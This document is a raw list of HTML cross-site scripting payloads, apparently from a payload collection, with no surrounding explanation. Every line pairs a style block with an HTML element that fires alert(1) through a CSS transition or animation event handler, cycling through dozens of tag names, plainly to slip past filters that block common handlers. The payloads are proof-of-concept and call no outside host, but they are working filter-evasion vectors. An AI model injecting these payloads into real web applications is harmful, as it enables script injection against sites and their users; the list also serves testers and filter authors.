<style>:target {transform: rotate(180deg);}</style><mark id=x style="transition:transform 2s" ontransitionrun=alert(1)></mark>
<style>:target {transform: rotate(180deg);}</style><marquee id=x style="transition:transform 2s" ontransitionrun=alert(1)></marquee>
<style>:target {transform: rotate(180deg);}</style><menu id=x style="transition:transform 2s" ontransitionrun=alert(1)></menu>
<style>:target {transform: rotate(180deg);}</style><menuitem id=x style="transition:transform 2s" ontransitionrun=alert(1)></menuitem>
<style>:target {transform: rotate(180deg);}</style><meta id=x style="transition:transform 2s" ontransitionrun=alert(1)></meta>
<style>:target {transform: rotate(180deg);}</style><meter id=x style="transition:transform 2s" ontransitionrun=alert(1)></meter>
<style>:target {transform: rotate(180deg);}</style><multicol id=x style="transition:transform 2s" ontransitionrun=alert(1)></multicol>
<style>:target {transform: rotate(180deg);}</style><nav id=x style="transition:transform 2s" ontransitionrun=alert(1)></nav>
<style>:target {transform: rotate(180deg);}</style><nextid id=x style="transition:transform 2s" ontransitionrun=alert(1)></nextid>
<style>:target {transform: rotate(180deg);}</style><nobr id=x style="transition:transform 2s" ontransitionrun=alert(1)></nobr>
<style>:target {transform: rotate(180deg);}</style><noembed id=x style="transition:transform 2s" ontransitionrun=alert(1)></noembed>
<style>:target {transform: rotate(180deg);}</style><noframes id=x style="transition:transform 2s" ontransitionrun=alert(1)></noframes>
<style>:target {transform: rotate(180deg);}</style><noscript id=x style="transition:transform 2s" ontransitionrun=alert(1)></noscript>
<style>:target {transform: rotate(180deg);}</style><object id=x style="transition:transform 2s" ontransitionrun=alert(1)></object>
<style>:target {transform: rotate(180deg);}</style><ol id=x style="transition:transform 2s" ontransitionrun=alert(1)></ol>
<style>:target {transform: rotate(180deg);}</style><optgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></optgroup>
<style>:target {transform: rotate(180deg);}</style><option id=x style="transition:transform 2s" ontransitionrun=alert(1)></option>
<style>:target {transform: rotate(180deg);}</style><output id=x style="transition:transform 2s" ontransitionrun=alert(1)></output>
<style>:target {transform: rotate(180deg);}</style><p id=x style="transition:transform 2s" ontransitionrun=alert(1)></p>
<style>:target {transform: rotate(180deg);}</style><param id=x style="transition:transform 2s" ontransitionrun=alert(1)></param>
<style>:target {transform: rotate(180deg);}</style><picture id=x style="transition:transform 2s" ontransitionrun=alert(1)></picture>
<style>:target {transform: rotate(180deg);}</style><plaintext id=x style="transition:transform 2s" ontransitionrun=alert(1)></plaintext>
<style>:target {transform: rotate(180deg);}</style><pre id=x style="transition:transform 2s" ontransitionrun=alert(1)></pre>
<style>:target {transform: rotate(180deg);}</style><progress id=x style="transition:transform 2s" ontransitionrun=alert(1)></progress>
<style>:target {transform: rotate(180deg);}</style><q id=x style="transition:transform 2s" ontransitionrun=alert(1)></q>
<style>:target {transform: rotate(180deg);}</style><rb id=x style="transition:transform 2s" ontransitionrun=alert(1)></rb>
<style>:target {transform: rotate(180deg);}</style><rp id=x style="transition:transform 2s" ontransitionrun=alert(1)></rp>
<style>:target {transform: rotate(180deg);}</style><rt id=x style="transition:transform 2s" ontransitionrun=alert(1)></rt>
<style>:target {transform: rotate(180deg);}</style><rtc id=x style="transition:transform 2s" ontransitionrun=alert(1)></rtc>
<style>:target {transform: rotate(180deg);}</style><ruby id=x style="transition:transform 2s" ontransitionrun=alert(1)></ruby>
<style>:target {transform: rotate(180deg);}</style><s id=x style="transition:transform 2s" ontransitionrun=alert(1)></s>
<style>:target {transform: rotate(180deg);}</style><samp id=x style="transition:transform 2s" ontransitionrun=alert(1)></samp>
<style>:target {transform: rotate(180deg);}</style><script id=x style="transition:transform 2s" ontransitionrun=alert(1)></script>
<style>:target {transform: rotate(180deg);}</style><section id=x style="transition:transform 2s" ontransitionrun=alert(1)></section>
<style>:target {transform: rotate(180deg);}</style><select id=x style="transition:transform 2s" ontransitionrun=alert(1)></select>
<style>:target {transform: rotate(180deg);}</style><shadow id=x style="transition:transform 2s" ontransitionrun=alert(1)></shadow>
<style>:target {transform: rotate(180deg);}</style><slot id=x style="transition:transform 2s" ontransitionrun=alert(1)></slot>
<style>:target {transform: rotate(180deg);}</style><small id=x style="transition:transform 2s" ontransitionrun=alert(1)></small>
<style>:target {transform: rotate(180deg);}</style><source id=x style="transition:transform 2s" ontransitionrun=alert(1)></source>
<style>:target {transform: rotate(180deg);}</style><spacer id=x style="transition:transform 2s" ontransitionrun=alert(1)></spacer>
<style>:target {transform: rotate(180deg);}</style><span id=x style="transition:transform 2s" ontransitionrun=alert(1)></span>
<style>:target {transform: rotate(180deg);}</style><strike id=x style="transition:transform 2s" ontransitionrun=alert(1)></strike>
<style>:target {transform: rotate(180deg);}</style><strong id=x style="transition:transform 2s" ontransitionrun=alert(1)></strong>
<style>:target {transform: rotate(180deg);}</style><style id=x style="transition:transform 2s" ontransitionrun=alert(1)></style>
<style>:target {transform: rotate(180deg);}</style><sub id=x style="transition:transform 2s" ontransitionrun=alert(1)></sub>
<style>:target {transform: rotate(180deg);}</style><summary id=x style="transition:transform 2s" ontransitionrun=alert(1)></summary>
<style>:target {transform: rotate(180deg);}</style><sup id=x style="transition:transform 2s" ontransitionrun=alert(1)></sup>
<style>:target {transform: rotate(180deg);}</style><svg id=x style="transition:transform 2s" ontransitionrun=alert(1)></svg>
<style>:target {transform: rotate(180deg);}</style><table id=x style="transition:transform 2s" ontransitionrun=alert(1)></table>
<style>:target {transform: rotate(180deg);}</style><tbody id=x style="transition:transform 2s" ontransitionrun=alert(1)></tbody>
<style>:target {transform: rotate(180deg);}</style><td id=x style="transition:transform 2s" ontransitionrun=alert(1)></td>
<style>:target {transform: rotate(180deg);}</style><template id=x style="transition:transform 2s" ontransitionrun=alert(1)></template>
<style>:target {transform: rotate(180deg);}</style><textarea id=x style="transition:transform 2s" ontransitionrun=alert(1)></textarea>
<style>:target {transform: rotate(180deg);}</style><tfoot id=x style="transition:transform 2s" ontransitionrun=alert(1)></tfoot>
<style>:target {transform: rotate(180deg);}</style><th id=x style="transition:transform 2s" ontransitionrun=alert(1)></th>
<style>:target {transform: rotate(180deg);}</style><thead id=x style="transition:transform 2s" ontransitionrun=alert(1)></thead>
<style>:target {transform: rotate(180deg);}</style><time id=x style="transition:transform 2s" ontransitionrun=alert(1)></time>
<style>:target {transform: rotate(180deg);}</style><title id=x style="transition:transform 2s" ontransitionrun=alert(1)></title>
<style>:target {transform: rotate(180deg);}</style><tr id=x style="transition:transform 2s" ontransitionrun=alert(1)></tr>
<style>:target {transform: rotate(180deg);}</style><track id=x style="transition:transform 2s" ontransitionrun=alert(1)></track>
<style>:target {transform: rotate(180deg);}</style><tt id=x style="transition:transform 2s" ontransitionrun=alert(1)></tt>
<style>:target {transform: rotate(180deg);}</style><u id=x style="transition:transform 2s" ontransitionrun=alert(1)></u>
<style>:target {transform: rotate(180deg);}</style><ul id=x style="transition:transform 2s" ontransitionrun=alert(1)></ul>
<style>:target {transform: rotate(180deg);}</style><var id=x style="transition:transform 2s" ontransitionrun=alert(1)></var>
<style>:target {transform: rotate(180deg);}</style><video id=x style="transition:transform 2s" ontransitionrun=alert(1)></video>
<style>:target {transform: rotate(180deg);}</style><wbr id=x style="transition:transform 2s" ontransitionrun=alert(1)></wbr>
<style>:target {transform: rotate(180deg);}</style><xmp id=x style="transition:transform 2s" ontransitionrun=alert(1)></xmp>
<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 10s" ontransitioncancel=alert(1)></xss>
<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=alert(1)></xss>
<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a>
<style>@keyframes slidein {}</style><abbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></abbr>
<style>@keyframes slidein {}</style><acronym style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></acronym>
<style>@keyframes slidein {}</style><address style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></address>
<style>@keyframes slidein {}</style><applet style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></applet>
<style>@keyframes slidein {}</style><area style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></area>
<style>@keyframes slidein {}</style><article style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></article>
<style>@keyframes slidein {}</style><aside style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></aside>
<style>@keyframes slidein {}</style><audio style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></audio>
<style>@keyframes slidein {}</style><b style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></b>
<style>@keyframes slidein {}</style><base style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></base>
<style>@keyframes slidein {}</style><basefont style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></basefont>
<style>@keyframes slidein {}</style><bdi style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></bdi>
<style>@keyframes slidein {}</style><bdo style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></bdo>
<style>@keyframes slidein {}</style><bgsound style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></bgsound>
<style>@keyframes slidein {}</style><big style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></big>
<style>@keyframes slidein {}</style><blink style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></blink>
<style>@keyframes slidein {}</style><blockquote style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></blockquote>
<style>@keyframes slidein {}</style><body style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></body>
<style>@keyframes slidein {}</style><br style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></br>
<style>@keyframes slidein {}</style><button style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></button>
<style>@keyframes slidein {}</style><canvas style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></canvas>
<style>@keyframes slidein {}</style><caption style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></caption>
<style>@keyframes slidein {}</style><center style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></center>
<style>@keyframes slidein {}</style><cite style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></cite>
<style>@keyframes slidein {}</style><code style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></code>
<style>@keyframes slidein {}</style><col style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></col>
<style>@keyframes slidein {}</style><colgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></colgroup>
<style>@keyframes slidein {}</style><command style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></command>
<style>@keyframes slidein {}</style><content style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></content>
<style>@keyframes slidein {}</style><data style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></data>
<style>@keyframes slidein {}</style><datalist style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></datalist>
<style>@keyframes slidein {}</style><dd style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dd>
<style>@keyframes slidein {}</style><del style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></del>
<style>@keyframes slidein {}</style><details style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></details>
<style>@keyframes slidein {}</style><dfn style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dfn>
<style>@keyframes slidein {}</style><dialog style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dialog>
<style>@keyframes slidein {}</style><dir style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dir>
<style>@keyframes slidein {}</style><div style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></div>
<style>@keyframes slidein {}</style><dl style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dl>
<style>@keyframes slidein {}</style><dt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></dt>
<style>@keyframes slidein {}</style><element style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></element>
<style>@keyframes slidein {}</style><em style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></em>
<style>@keyframes slidein {}</style><embed style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></embed>
<style>@keyframes slidein {}</style><fieldset style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></fieldset>
<style>@keyframes slidein {}</style><figcaption style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></figcaption>
<style>@keyframes slidein {}</style><figure style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></figure>
<style>@keyframes slidein {}</style><font style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></font>
<style>@keyframes slidein {}</style><footer style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></footer>
<style>@keyframes slidein {}</style><form style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></form>
<style>@keyframes slidein {}</style><frame style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></frame>
<style>@keyframes slidein {}</style><frameset style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></frameset>
<style>@keyframes slidein {}</style><h1 style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></h1>
<style>@keyframes slidein {}</style><head style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></head>
<style>@keyframes slidein {}</style><header style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></header>
<style>@keyframes slidein {}</style><hgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></hgroup>
<style>@keyframes slidein {}</style><hr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></hr>
<style>@keyframes slidein {}</style><html style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></html>
<style>@keyframes slidein {}</style><i style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></i>
<style>@keyframes slidein {}</style><iframe style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></iframe>
<style>@keyframes slidein {}</style><image style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></image>
<style>@keyframes slidein {}</style><img style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></img>
<style>@keyframes slidein {}</style><input style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></input>
<style>@keyframes slidein {}</style><ins style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ins>
<style>@keyframes slidein {}</style><isindex style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></isindex>
<style>@keyframes slidein {}</style><kbd style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></kbd>
<style>@keyframes slidein {}</style><keygen style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></keygen>
<style>@keyframes slidein {}</style><label style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></label>
<style>@keyframes slidein {}</style><legend style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></legend>
<style>@keyframes slidein {}</style><li style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></li>
<style>@keyframes slidein {}</style><link style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></link>
<style>@keyframes slidein {}</style><listing style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></listing>
<style>@keyframes slidein {}</style><main style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></main>
<style>@keyframes slidein {}</style><map style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></map>
<style>@keyframes slidein {}</style><mark style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></mark>
<style>@keyframes slidein {}</style><marquee style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></marquee>
<style>@keyframes slidein {}</style><menu style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></menu>
<style>@keyframes slidein {}</style><menuitem style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></menuitem>
<style>@keyframes slidein {}</style><meta style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></meta>
<style>@keyframes slidein {}</style><meter style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></meter>
<style>@keyframes slidein {}</style><multicol style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></multicol>
<style>@keyframes slidein {}</style><nav style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></nav>
<style>@keyframes slidein {}</style><nextid style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></nextid>
<style>@keyframes slidein {}</style><nobr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></nobr>
<style>@keyframes slidein {}</style><noembed style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></noembed>
<style>@keyframes slidein {}</style><noframes style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></noframes>
<style>@keyframes slidein {}</style><noscript style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></noscript>
<style>@keyframes slidein {}</style><object style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></object>
<style>@keyframes slidein {}</style><ol style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ol>
<style>@keyframes slidein {}</style><optgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></optgroup>
<style>@keyframes slidein {}</style><option style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></option>
<style>@keyframes slidein {}</style><output style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></output>
<style>@keyframes slidein {}</style><p style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></p>
<style>@keyframes slidein {}</style><param style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></param>
<style>@keyframes slidein {}</style><picture style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></picture>
<style>@keyframes slidein {}</style><plaintext style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></plaintext>
<style>@keyframes slidein {}</style><pre style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></pre>
<style>@keyframes slidein {}</style><progress style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></progress>
<style>@keyframes slidein {}</style><q style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></q>
<style>@keyframes slidein {}</style><rb style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rb>
<style>@keyframes slidein {}</style><rp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rp>
<style>@keyframes slidein {}</style><rt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rt>
<style>@keyframes slidein {}</style><rtc style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></rtc>
<style>@keyframes slidein {}</style><ruby style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ruby>
<style>@keyframes slidein {}</style><s style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></s>
<style>@keyframes slidein {}</style><samp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></samp>
<style>@keyframes slidein {}</style><script style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></script>
<style>@keyframes slidein {}</style><section style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></section>
<style>@keyframes slidein {}</style><select style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></select>
<style>@keyframes slidein {}</style><shadow style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></shadow>
<style>@keyframes slidein {}</style><slot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></slot>
<style>@keyframes slidein {}</style><small style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></small>
<style>@keyframes slidein {}</style><source style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></source>
<style>@keyframes slidein {}</style><spacer style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></spacer>
<style>@keyframes slidein {}</style><span style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></span>
<style>@keyframes slidein {}</style><strike style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></strike>
<style>@keyframes slidein {}</style><strong style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></strong>
<style>@keyframes slidein {}</style><style style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></style>
<style>@keyframes slidein {}</style><sub style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></sub>
<style>@keyframes slidein {}</style><summary style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></summary>
<style>@keyframes slidein {}</style><sup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></sup>
<style>@keyframes slidein {}</style><svg style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></svg>
<style>@keyframes slidein {}</style><table style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></table>
<style>@keyframes slidein {}</style><tbody style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tbody>
<style>@keyframes slidein {}</style><td style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></td>
<style>@keyframes slidein {}</style><template style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></template>
<style>@keyframes slidein {}</style><textarea style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></textarea>
<style>@keyframes slidein {}</style><tfoot style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tfoot>
<style>@keyframes slidein {}</style><th style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></th>
<style>@keyframes slidein {}</style><thead style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></thead>
<style>@keyframes slidein {}</style><time style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></time>
<style>@keyframes slidein {}</style><title style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></title>
<style>@keyframes slidein {}</style><tr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tr>
<style>@keyframes slidein {}</style><track style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></track>
<style>@keyframes slidein {}</style><tt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></tt>
<style>@keyframes slidein {}</style><u style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></u>
<style>@keyframes slidein {}</style><ul style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></ul>
<style>@keyframes slidein {}</style><var style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></var>
<style>@keyframes slidein {}</style><video style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></video>
<style>@keyframes slidein {}</style><wbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></wbr>
<style>@keyframes slidein {}</style><xmp style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xmp>
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><abbr id=x style="position:absolute;" onanimationcancel="alert(1)"></abbr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><acronym id=x style="position:absolute;" onanimationcancel="alert(1)"></acronym>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><address id=x style="position:absolute;" onanimationcancel="alert(1)"></address>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><applet id=x style="position:absolute;" onanimationcancel="alert(1)"></applet>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><area id=x style="position:absolute;" onanimationcancel="alert(1)"></area>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><article id=x style="position:absolute;" onanimationcancel="alert(1)"></article>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><aside id=x style="position:absolute;" onanimationcancel="alert(1)"></aside>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><audio id=x style="position:absolute;" onanimationcancel="alert(1)"></audio>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><b id=x style="position:absolute;" onanimationcancel="alert(1)"></b>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><base id=x style="position:absolute;" onanimationcancel="alert(1)"></base>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><basefont id=x style="position:absolute;" onanimationcancel="alert(1)"></basefont>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdi id=x style="position:absolute;" onanimationcancel="alert(1)"></bdi>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdo id=x style="position:absolute;" onanimationcancel="alert(1)"></bdo>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bgsound id=x style="position:absolute;" onanimationcancel="alert(1)"></bgsound>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><big id=x style="position:absolute;" onanimationcancel="alert(1)"></big>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blink id=x style="position:absolute;" onanimationcancel="alert(1)"></blink>
